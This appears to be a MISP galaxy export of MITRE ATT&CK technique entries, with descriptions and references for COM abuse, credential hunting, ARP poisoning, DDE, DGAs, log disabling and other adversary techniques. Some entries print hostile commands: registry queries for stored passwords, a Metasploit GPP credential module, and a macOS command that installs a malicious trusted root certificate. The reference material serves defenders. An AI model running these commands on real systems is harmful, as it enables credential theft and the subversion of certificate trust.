Various COM interfaces are exposed that can be abused to invoke arbitrary execution via a variety of programming languages such as C, C++, Java, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005).(Citation: Microsoft COM) Specific COM objects also exist to directly perform functions beyond code execution, such as creating a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), fileless download/execution, and other adversary behaviors related to privilege escalation and persistence.(Citation: Fireeye Hunting COM June 2019)(Citation: ProjectZero File Write EoP Apr 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001"*

Table 3949. Table References

Links
https://attack.mitre.org/techniques/T1559/001
https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html

Social Media Accounts - T1586.001

Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona.

A variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.

Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.

Adversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).

The tag is: *misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1586.001"*

Table 3950. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/
https://attack.mitre.org/techniques/T1586/001

https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

Fast Flux DNS - T1568.001

Adversaries may use Fast Flux DNS to hide a command and control channel behind an array of rapidly changing IP addresses linked to a single domain resolution. This technique uses a fully qualified domain name, with multiple IP addresses assigned to it which are swapped with high frequency, using a combination of round robin IP addressing and short Time-To-Live (TTL) for a DNS resource record.(Citation: MehtaFastFluxPt1)(Citation: MehtaFastFluxPt2)(Citation: Fast Flux - Welivesecurity)

The simplest, "single-flux" method, involves registering and de-registering an addresses as part of the DNS A (address) record list for a single DNS name. These registrations have a five-minute average lifespan, resulting in a constant shuffle of IP address resolution.(Citation: Fast Flux - Welivesecurity)

In contrast, the "double-flux" method registers and de-registers an address as part of the DNS Name Server record list for the DNS zone, providing additional resilience for the connection. With double-flux additional hosts can act as a proxy to the C2 host, further insulating the true source of the C2 channel.

The tag is: *misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001"*

Table 3951. Table References

Links
https://attack.mitre.org/techniques/T1568/001
https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-1/#gref
https://resources.infosecinstitute.com/fast-flux-networks-working-detection-part-2/#gref
https://www.welivesecurity.com/2017/01/12/fast-flux-networks-work/

Threat Intel Vendors - T1597.001

Adversaries may search private data from threat intelligence vendors for information that can be used during targeting. Threat intelligence vendors may offer paid feeds or portals that offer more data than what is publicly reported. Although sensitive details (such as customer names and other identifiers) may be redacted, this information may contain trends regarding breaches such as target industries, attribution claims, and successful TTPs/countermeasures.(Citation: D3Secutrity CTI Feeds)

Adversaries may search in private threat intelligence vendor data to gather actionable information. Threat actors may seek information/indicators gathered about their own campaigns, as well as those conducted by other adversaries that may align with their target industries, capabilities/objectives, or other operational concerns. Information reported by vendors may also reveal opportunities other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Threat Intel Vendors - T1597.001"*

Table 3952. Table References

Links
https://attack.mitre.org/techniques/T1597/001
https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/

Credentials in Registry - T1552.002

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.

Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)

- Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>
- Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002"*

Table 3953. Table References

Links
https://attack.mitre.org/techniques/T1552/002
https://pentestlab.blog/2017/04/19/stored-credentials/

Domain Trust Modification - T1484.002

Adversaries may add new domain trusts or modify the properties of existing domain trusts to evade defenses and/or elevate privileges. Domain trust details, such as whether or not a domain is federated, allow authentication and authorization properties to apply between domains for the purpose of accessing shared resources.(Citation: Microsoft - Azure AD Federation) These trust objects may include accounts, credentials, and other authentication material applied to servers, tokens, and domains.

Manipulating the domain trusts may allow an adversary to escalate privileges and/or evade defenses by modifying settings to add objects which they control. For example, this may be used to forge [SAML Tokens](https://attack.mitre.org/techniques/T1606/002), without the need to compromise the signing certificate to forge new credentials. Instead, an adversary can manipulate domain trusts to add their own signing certificate.

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Trust Modification - T1484.002"*

Table 3954. Table References

Links
https://attack.mitre.org/techniques/T1484/002
https://docs.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
https://docs.microsoft.com/en-us/office365/troubleshoot/active-directory/update-federated-domain-office-365
https://github.com/Azure/Azure-Sentinel/blob/master/Detections/AuditLogs/ADFSDomainTrustMods.yaml
https://us-cert.cisa.gov/ncas/alerts/aa21-008a
https://www.sygnia.co/golden-saml-advisory

Service Exhaustion Flood - T1499.002

Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service.

One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood)

Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012)

The tag is: *misp-galaxy:mitre-attack-pattern="Service Exhaustion Flood - T1499.002"*

Table 3955. Table References

Links
https://attack.mitre.org/techniques/T1499/002
https://capec.mitre.org/data/definitions/488.html
https://capec.mitre.org/data/definitions/489.html

https://capec.mitre.org/data/definitions/528.html
https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
https://www.cloudflare.com/learning/ddos/http-flood-ddos-attack/
https://www.netscout.com/blog/asert/ddos-attacks-ssl-something-old-something-new

Password Filter DLL - T1556.002

Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated.

Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation.

Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)

The tag is: *misp-galaxy:mitre-attack-pattern="Password Filter DLL - T1556.002"*

Table 3956. Table References

Links
http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html
https://attack.mitre.org/techniques/T1556/002
https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/

Transmitted Data Manipulation - T1565.002

Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Transmitted Data Manipulation - T1565.002"*

Table 3957. Table References

Links
https://attack.mitre.org/techniques/T1565/002
https://content.fireeye.com/apt/rpt-apt38
https://www.justice.gov/opa/press-release/file/1092091/download

Group Policy Preferences - T1552.006

Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)

These group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)

The following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:

* Metasploit's post exploitation module: <code>post/windows/gather/credentials/gpp</code>
* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)
* gpprefdecrypt.py

On the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: <code>dir /s * .xml</code>

The tag is: *misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006"*

Table 3958. Table References

Links
https://adsecurity.org/?p=2288
https://attack.mitre.org/techniques/T1552/006
https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/dn581922(v%3Dws.11)
https://msdn.microsoft.com/library/cc422924.aspx
https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html

ARP Cache Poisoning - T1557.002

Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).

The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.

An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.

The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)

Adversaries may use ARP cache poisoning as a means to intercept network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)

The tag is: *misp-galaxy:mitre-attack-pattern="ARP Cache Poisoning - T1557.002"*

Table 3959. Table References

Links
https://attack.mitre.org/techniques/T1557/002
https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411
https://tools.ietf.org/html/rfc826
https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf

Dynamic Data Exchange - T1559.002

Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.

Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys.(Citation: BleepingComputer DDE Disabled in Word Dec 2017)(Citation: Microsoft ADV170021 Dec 2017)(Citation: Microsoft DDE Advisory Nov 2017)

Microsoft Office documents can be poisoned with DDE commands, directly or through embedded files, and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros.(Citation: SensePost PS DDE May 2016)(Citation: Kettle CSV DDE Aug 2014)(Citation: Enigma Reviving DDE Jan 2018)(Citation: SensePost MacroLess DDE Oct 2017) Similarly, adversaries may infect payloads to execute applications and/or commands on a victim device by way of embedding DDE formulas within a CSV file intended to be opened through a Windows spreadsheet program.(Citation: OWASP CSV Injection)(Citation: CSV Excel Macro Injection)

DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)

The tag is: *misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002"*

Table 3960. Table References

Links
https://attack.mitre.org/techniques/T1559/002
https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/
https://blog.securelayer7.net/how-to-perform-csv-excel-macro-injection/
https://owasp.org/www-community/attacks/CSV_Injection
https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
https://technet.microsoft.com/library/security/4053440
https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/
https://www.contextis.com/blog/comma-separated-vulnerabilities
https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html

Domain Generation Algorithms - T1568.002

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)

DGAs can take the form of apparently random or "gibberish" strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)

Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1568.002"*

Table 3961. Table References

Links
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
http://csis.pace.edu/ctappert/srd2017/2017PDF/d4.pdf[http://csis.pace.edu/ctappert/srd2017/2017PDF/d4.pdf]
http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf
https://arxiv.org/pdf/1611.00791.pdf
https://attack.mitre.org/techniques/T1568/002
https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html
https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/
https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/
https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/
https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html
https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/

Disable Cloud Logs - T1562.008

An adversary may disable cloud logging capabilities and integrations to limit what data is collected on their activities and avoid detection.

Cloud environments allow for collection and analysis of audit and application logs that provide insight into what activities a user does within the environment. If an adversary has sufficient permissions, they can disable logging to avoid detection of their activities. For example, in AWS an adversary may disable CloudWatch/CloudTrail integrations prior to conducting further malicious activity.(Citation: Following the CloudTrail: Generating strong AWS security signals with Sumo Logic)

The tag is: *misp-galaxy:mitre-attack-pattern="Disable Cloud Logs - T1562.008"*

Table 3962. Table References

Links
https://attack.mitre.org/techniques/T1562/008
https://cloud.google.com/logging/docs/audit/configure-data-access
https://docs.aws.amazon.com/awscloudtrail/latest/userguide/stop-cloudtrail-from-sending-events-to-cloudwatch-logs.html
https://docs.microsoft.com/en-us/cli/azure/monitor/diagnostic-settings?view=azure-cli-latest#az_monitor_diagnostic_settings_delete
https://expel.io/blog/following-cloudtrail-generating-aws-security-signals-sumo-logic/

Safe Mode Boot - T1562.009

Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)

Adversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)

Adversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)

The tag is: *misp-galaxy:mitre-attack-pattern="Safe Mode Boot - T1562.009"*

Table 3963. Table References

Links

https://attack.mitre.org/techniques/T1562/009
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit
https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg
https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/
https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234
https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/
https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise
https://www.cybereason.com/blog/medusalocker-ransomware

Create Cloud Instance - T1578.002

An adversary may create a new instance or virtual machine (VM) within the compute service of a cloud account to evade defenses. Creating a new instance may allow an adversary to bypass firewall rules and permissions that exist on instances currently residing within an account. An adversary may [Create Snapshot](https://attack.mitre.org/techniques/T1578/001) of one or more volumes in an account, create a new instance, mount the snapshots, and then apply a less restrictive security policy to collect [Data from Local System](https://attack.mitre.org/techniques/T1005) or for [Remote Data Staging](https://attack.mitre.org/techniques/T1074/002).(Citation: Mandiant M-Trends 2020)

Creating a new instance may also allow an adversary to carry out malicious activity within an environment without affecting the execution of current running instances.

The tag is: *misp-galaxy:mitre-attack-pattern="Create Cloud Instance - T1578.002"*

Table 3964. Table References

Links
https://attack.mitre.org/techniques/T1578/002
https://aws.amazon.com/premiumsupport/knowledge-center/cloudtrail-search-api-calls/
https://cloud.google.com/logging/docs/audit#admin-activity
https://content.fireeye.com/m-trends/rpt-m-trends-2020
https://docs.microsoft.com/en-us/azure/azure-resource-manager/management/view-activity-logs

Code Signing Certificates - T1587.002

Adversaries may create self-signed code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may develop self-signed code signing certificates for use in operations.

The tag is: *misp-galaxy:mitre-attack-pattern="Code Signing Certificates - T1587.002"*

Table 3965. Table References

Links
https://attack.mitre.org/techniques/T1587/002
https://en.wikipedia.org/wiki/Code_signing

Purchase Technical Data - T1597.002

Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.

Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim's infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

The tag is: *misp-galaxy:mitre-attack-pattern="Purchase Technical Data - T1597.002"*

Table 3966. Table References

Links
https://attack.mitre.org/techniques/T1597/002
https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/

Virtual Private Server - T1583.003

Adversaries may rent Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. By utilizing a VPS, adversaries can make it difficult to physically tie back operations to them. The use of cloud infrastructure can also make it easier for adversaries to rapidly provision, modify, and shut down their infrastructure.

Acquiring a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers. Adversaries may also acquire infrastructure from VPS service providers that are known for renting VPSs with minimal registration information, allowing for more anonymous acquisitions of infrastructure.(Citation: TrendmicroHideoutsLease)

The tag is: *misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1583.003"*

Table 3967. Table References

Links
https://attack.mitre.org/techniques/T1583/003
https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2
https://threatconnect.com/blog/infrastructure-research-hunting/
https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation

Install Root Certificate - T1553.004

Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers. Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.(Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.(Citation: Operation Emmental)

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) capability for intercepting information transmitted over secure TLS/SSL communications.(Citation: Kaspersky Superfish)

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.(Citation: SpectorOps Code Signing Dec 2017)

In macOS, the Ay MaMi malware uses <code>/usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert</code> to install a malicious certificate as a trusted root certificate into the system keychain.(Citation: objective-see ay mami 2018)

The tag is: *misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004"*

Table 3968. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf
https://attack.mitre.org/techniques/T1553/004
https://capec.mitre.org/data/definitions/479.html
https://docs.microsoft.com/sysinternals/downloads/sigcheck
https://en.wikipedia.org/wiki/Root_certificate
https://objective-see.com/blog/blog_0x26.html
https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec
https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/
https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/

Virtual Private Server - T1584.003

Adversaries may compromise third-party Virtual Private Servers (VPSs) that can be used during targeting. There exist a variety of cloud service providers that will sell virtual machines/containers as a service. Adversaries may compromise VPSs purchased by third-party entities. By compromising a VPS to use as infrastructure, adversaries can make it difficult to physically tie back operations to themselves.(Citation: NSA NCSC Turla OilRig)

Compromising a VPS for use in later stages of the adversary lifecycle, such as Command and Control, can allow adversaries to benefit from the ubiquity and trust associated with higher reputation cloud service providers as well as that added by the compromised third-party.

The tag is: *misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1584.003"*

Table 3969. Table References

Links
https://attack.mitre.org/techniques/T1584/003
https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf
https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2

https://threatconnect.com/blog/infrastructure-research-hunting/
https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation

Time Based Evasion - T1497.003

Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)

Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment’s timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)

The tag is: *misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003"*

Table 3970. Table References

Links
https://attack.mitre.org/techniques/T1497/003
https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/
https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes
https://www.joesecurity.org/blog/3660886847485093803

https://www.joesecurity.org/blog/498839998833561473
https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique

Application Exhaustion Flood - T1499.003

Adversaries may target resource intensive features of applications to cause a denial of service (DoS), denying availability to those applications. For example, specific features in web applications may be highly resource intensive. Repeated requests to those features may be able to exhaust system resources and deny access to the application or the server itself.(Citation: Arbor AnnualDoSreport Jan 2018)

